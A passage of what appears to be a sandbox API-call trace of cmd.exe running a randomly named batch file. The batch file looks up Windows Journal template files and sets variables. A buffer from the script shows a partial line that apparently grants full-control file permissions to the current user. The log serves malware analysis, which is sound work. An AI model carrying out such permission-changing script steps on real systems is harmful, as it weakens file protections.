_String2="Windows Journal", _MaxCount=0xf) returned -62 [0076.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0x4676e8 [0076.399] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0076.399] _wcsnicmp (_String1="TEMPLA~1", _String2="Templates", _MaxCount=0x9) returned 10 [0076.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 0x4676e8 [0076.399] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0076.399] GetProcessHeap () returned 0x450000 [0076.399] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x4677e8 [0076.399] GetProcessHeap () returned 0x450000 [0076.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0076.400] _tell (_FileHandle=3) returned 63 [0076.400] _close (_FileHandle=3) returned 0 [0076.400] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ee84 | out: _Buffer="\r\n") returned 2 [0076.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.400] GetFileType (hFile=0x7) returned 0x2 [0076.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.401] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee44 | out: lpMode=0x18ee44) returned 1 [0076.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.401] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ee70, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ee70*=0x2) returned 1 [0076.402] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.402] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.402] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ee80 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.403] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ee80 | out: _Buffer=">") returned 1 [0076.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.403] GetFileType (hFile=0x7) returned 0x2 [0076.403] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.403] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee48 | out: lpMode=0x18ee48) returned 1 [0076.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.403] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ee74, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ee74*=0x26) returned 1 [0076.403] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.404] GetFileType (hFile=0x7) returned 0x2 [0076.404] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.404] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0cc | out: lpMode=0x18f0cc) returned 1 [0076.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.404] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x450d40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x18f0f8, lpReserved=0x0 | out: lpBuffer=0x450d40*, lpNumberOfCharsWritten=0x18f0f8*=0x3) returned 1 [0076.404] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f104 | out: _Buffer=" FN=\"blank.jtp\" ") returned 16 [0076.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.404] GetFileType (hFile=0x7) returned 0x2 [0076.405] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.405] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.405] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.405] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x10) returned 1 [0076.405] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f124 | out: _Buffer="\r\n") returned 2 [0076.405] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.405] GetFileType (hFile=0x7) returned 0x2 [0076.406] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.406] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0e4 | out: lpMode=0x18f0e4) returned 1 [0076.406] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.406] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f110, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f110*=0x2) returned 1 [0076.407] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0076.407] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0076.407] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0076.407] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0076.407] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0076.407] _wcsicmp (_String1="set", _String2="CD") returned 16 [0076.407] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0076.407] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0076.407] _wcsicmp (_String1="set", _String2="REN") returned 1 [0076.407] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0076.407] _wcsicmp (_String1="set", _String2="SET") returned 0 [0076.407] GetConsoleTitleW (in: lpConsoleTitle=0x18ec94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.408] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0076.408] SetEnvironmentVariableW (lpName="FN", lpValue="\"blank.jtp\"") returned 1 [0076.408] GetProcessHeap () returned 0x450000 [0076.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a98 | out: hHeap=0x450000) returned 1 [0076.408] GetEnvironmentStringsW () returned 0x467f30* [0076.408] GetProcessHeap () returned 0x450000 [0076.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb7a) returned 0x46a188 [0076.408] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0076.408] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.408] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0076.408] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.408] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0076.409] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.409] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0076.409] SetConsoleInputExeNameW () returned 0x1 [0076.409] GetConsoleOutputCP () returned 0x1b5 [0076.410] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.410] SetThreadUILanguage (LangId=0x0) returned 0x409 [0076.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0076.411] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0076.411] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.411] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511d0 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511a0 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4676e8 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d38 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451140 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4677e8 | out: hHeap=0x450000) returned 1 [0076.411] GetProcessHeap () returned 0x450000 [0076.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4610e0 | out: hHeap=0x450000) returned 1 [0076.411] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.411] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0076.411] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0xa3, lpOverlapped=0x0) returned 1 [0076.411] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0076.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0076.411] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.411] GetFileType (hFile=0x78) returned 0x1 [0076.412] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.412] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0076.412] GetProcessHeap () returned 0x450000 [0076.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0076.412] GetProcessHeap () returned 0x450000 [0076.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x70) returned 0x451140 [0076.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x18e840, lpFilePart=0x18e838 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x18e838*="Bt3xnwko.bat") returned 0x32 [0076.412] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4511b8 [0076.412] FindClose (in: hFindFile=0x4511b8 | out: hFindFile=0x4511b8) returned 1 [0076.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4511b8 [0076.412] FindClose (in: hFindFile=0x4511b8 | out: hFindFile=0x4511b8) returned 1 [0076.412] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0076.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4511b8 [0076.412] FindClose (in: hFindFile=0x4511b8 | out: hFindFile=0x4511b8) returned 1 [0076.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x4511b8 [0076.413] FindClose (in: hFindFile=0x4511b8 | out: hFindFile=0x4511b8) returned 1 [0076.413] GetProcessHeap () returned 0x450000 [0076.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x56) returned 0x4511b8 [0076.413] GetProcessHeap () returned 0x450000 [0076.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0076.414] _tell (_FileHandle=3) returned 78 [0076.414] _close (_FileHandle=3) returned 0 [0076.414] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ee84 | out: _Buffer="\r\n") returned 2 [0076.414] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.414] GetFileType (hFile=0x7) returned 0x2 [0076.414] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.414] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee44 | out: lpMode=0x18ee44) returned 1 [0076.414] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.414] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ee70, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ee70*=0x2) returned 1 [0076.416] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.416] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.416] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ee80 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.416] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ee80 | out: _Buffer=">") returned 1 [0076.416] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.416] GetFileType (hFile=0x7) returned 0x2 [0076.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.416] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee48 | out: lpMode=0x18ee48) returned 1 [0076.416] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.416] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ee74, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ee74*=0x26) returned 1 [0076.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.417] GetFileType (hFile=0x7) returned 0x2 [0076.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.417] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0cc | out: lpMode=0x18f0cc) returned 1 [0076.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.417] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x450d40*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f0f8, lpReserved=0x0 | out: lpBuffer=0x450d40*, lpNumberOfCharsWritten=0x18f0f8*=0x2) returned 1 [0076.418] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f104 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0076.418] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.418] GetFileType (hFile=0x7) returned 0x2 [0076.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.418] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0076.418] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.418] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x2d) returned 1 [0076.420] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f124 | out: _Buffer="\r\n") returned 2 [0076.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.420] GetFileType (hFile=0x7) returned 0x2 [0076.420] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.420] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0e4 | out: lpMode=0x18f0e4) returned 1 [0076.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.420] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f110, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f110*=0x2) returned 1 [0076.422] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0076.422] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0076.422] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0076.422] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0076.422] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0076.422] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0076.422] GetConsoleTitleW (in: lpConsoleTitle=0x18ec94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.422] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x18ea50, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x18ea48, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x18ea48*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0076.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x18e7ec, lpFilePart=0x18e7e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x18e7e8*=0x0) returned 0x26 [0076.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0076.423] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18e568 | out: lpFindFileData=0x18e568*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x466370 [0076.423] FindClose (in: hFindFile=0x466370 | out: hFindFile=0x466370) returned 1 [0076.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18e568 | out: lpFindFileData=0x18e568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x466370 [0076.423] FindClose (in: hFindFile=0x466370 | out: hFindFile=0x466370) returned 1 [0076.423] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0076.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18e568 | out: lpFindFileData=0x18e568*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x466370 [0076.423] FindClose (in: hFindFile=0x466370 | out: hFindFile=0x466370) returned 1 [0076.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0076.423] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0076.423] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0076.423] GetProcessHeap () returned 0x450000 [0076.423] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46a188 | out: hHeap=0x450000) returned 1 [0076.423] GetEnvironmentStringsW () returned 0x466b80* [0076.423] GetProcessHeap () returned 0x450000 [0076.423] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb7a) returned 0x467f30 [0076.424] FreeEnvironmentStringsW (penv=0x466b80) returned 1 [0076.424] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.424] GetProcessHeap () returned 0x450000 [0076.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466310 | out: hHeap=0x450000) returned 1 [0076.424] GetProcessHeap () returned 0x450000 [0076.424] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4662b0 | out: hHeap=0x450000) returned 1 [0076.424] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.424] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0076.424] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.424] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0076.424] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.424] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0076.424] SetConsoleInputExeNameW () returned 0x1 [0076.424] GetConsoleOutputCP () returned 0x1b5 [0076.425] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.425] SetThreadUILanguage (LangId=0x0) returned 0x409 [0076.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0076.425] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0076.425] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.425] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0076.425] GetProcessHeap () returned 0x450000 [0076.425] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466240 | out: hHeap=0x450000) returned 1 [0076.425] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4661d0 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466160 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4660f0 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d38 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451218 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511b8 | out: hHeap=0x450000) returned 1 [0076.426] GetProcessHeap () returned 0x450000 [0076.426] HeapFree (in: hHeap=0x450000, 